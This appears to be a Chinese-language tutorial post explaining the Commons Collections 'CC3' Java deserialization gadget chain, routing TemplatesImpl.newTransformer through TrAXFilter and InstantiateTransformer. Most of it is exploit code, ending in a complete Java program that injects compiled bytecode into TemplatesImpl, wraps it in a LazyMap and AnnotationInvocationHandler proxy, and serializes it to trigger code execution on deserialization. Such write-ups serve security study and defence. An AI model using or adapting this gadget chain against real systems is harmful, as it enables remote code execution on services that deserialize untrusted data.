java cc链3TrAXFilter与InstantiateTransformer

java cc链3TrAXFilter与InstantiateTransformer
上文最后调用

templates.newTransformer()

cc链1中，是通过InvokerTransformer.transform方法，通过反射进而执行系统命令，这里通过反射调用TemplatesImpl.newTransformer，实现和templates.newTransformer()相同的效果

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
invokerTransformer.transform(templates);

再往后走一点就变为了

     Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
,
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform(1);

然后问题又回到了调用ChainedTransformer.transform方法上，直接利用cc1的后半部分即可

或者说 找到一个调用TemplatesImpl.newTransformer方法的类，这里使用TrAXFilter在public方法中调用

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();

那么templates.newTransformer()就可以变为

TrAXFilter trAXFilter = new TrAXFilter(templates);

然而TrAXFilter不能进行序列化，在InstantiateTransformer.transform方法中存在一个反射方法，

Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

获取一个特定参数类型的构造函数，那么刚好利用TrAXFilter的public TrAXFilter方法，该方法接受一个Templates类

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input Class object to a result by instantiation.
     * 
     * @param input  the input object to transform
     * @return the transformed result
     */
    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

那么这里的input就是TrAXFilter.class，iParamTypes就是Templates类，这样就可以在TrAXFilter.class中找到public TrAXFilter方法，而我们想用TrAXFilter.class执行TemplatesImpl.newTransformer()，所以这里的iArgs就是templates，那么完整代码就是

InstantiateTransformer input = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
input.transform(TrAXFilter.class);

实现了templates.newTransformer()的目的，发现又转到了如何实现InstantiateTransformer.transform方法，这里就很简单了，直接使用

InstantiateTransformer input = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});


Transformer[] transformers = new Transformer[]{

        new ConstantTransformer(TrAXFilter.class),
        input
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(1);

即可 ，ChainedTransformer递归调用，ConstantTransformer将TrAXFilter.class返回到InstantiateTransformer.transform方法中，实现了input.transform(TrAXFilter.class)的目的剩下的就是替换后面的内容为TransformedMap或者LazyMap

TransformedMap

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class test08 {
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin"));
        oos.writeObject(object);
    }


    //定义反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();

    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");
        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\ceshi.class"));
        byte[][] codes= {code};
        bytecodes.set(templates,codes);
        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
//        TrAXFilter trAXFilter = new TrAXFilter(templates);
        InstantiateTransformer input = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        input.transform(TrAXFilter.class);

//        templates.newTransformer();
//        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
//        invokerTransformer.transform(templates);
        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(TrAXFilter.class),
                input
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
//        transformerChain.transform(1);
        HashMap map=new HashMap<>();

//           TransformedMap

//        map.put("value","gxngxngxn");
//        Map transformedmap= TransformedMap.decorate(map,null,transformerChain);
//
//        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
//        constructor.setAccessible(true);
//        Object o=constructor.newInstance(Target.class,transformedmap);


//        lazymap


        Map<Object,Object> lazymap= LazyMap.decorate(map,transformerChain);
//        transformedmap.get("test");
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Override.class,lazymap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazymap.getClass().getInterfaces(), annotationInvocationHandler);
        annotationInvocationHandler = (InvocationHandler) construct.newInstance(Override.class, proxyMap);
        
        
        serialize(annotationInvocationHandler);
        unserialize("person.bin");

    }
}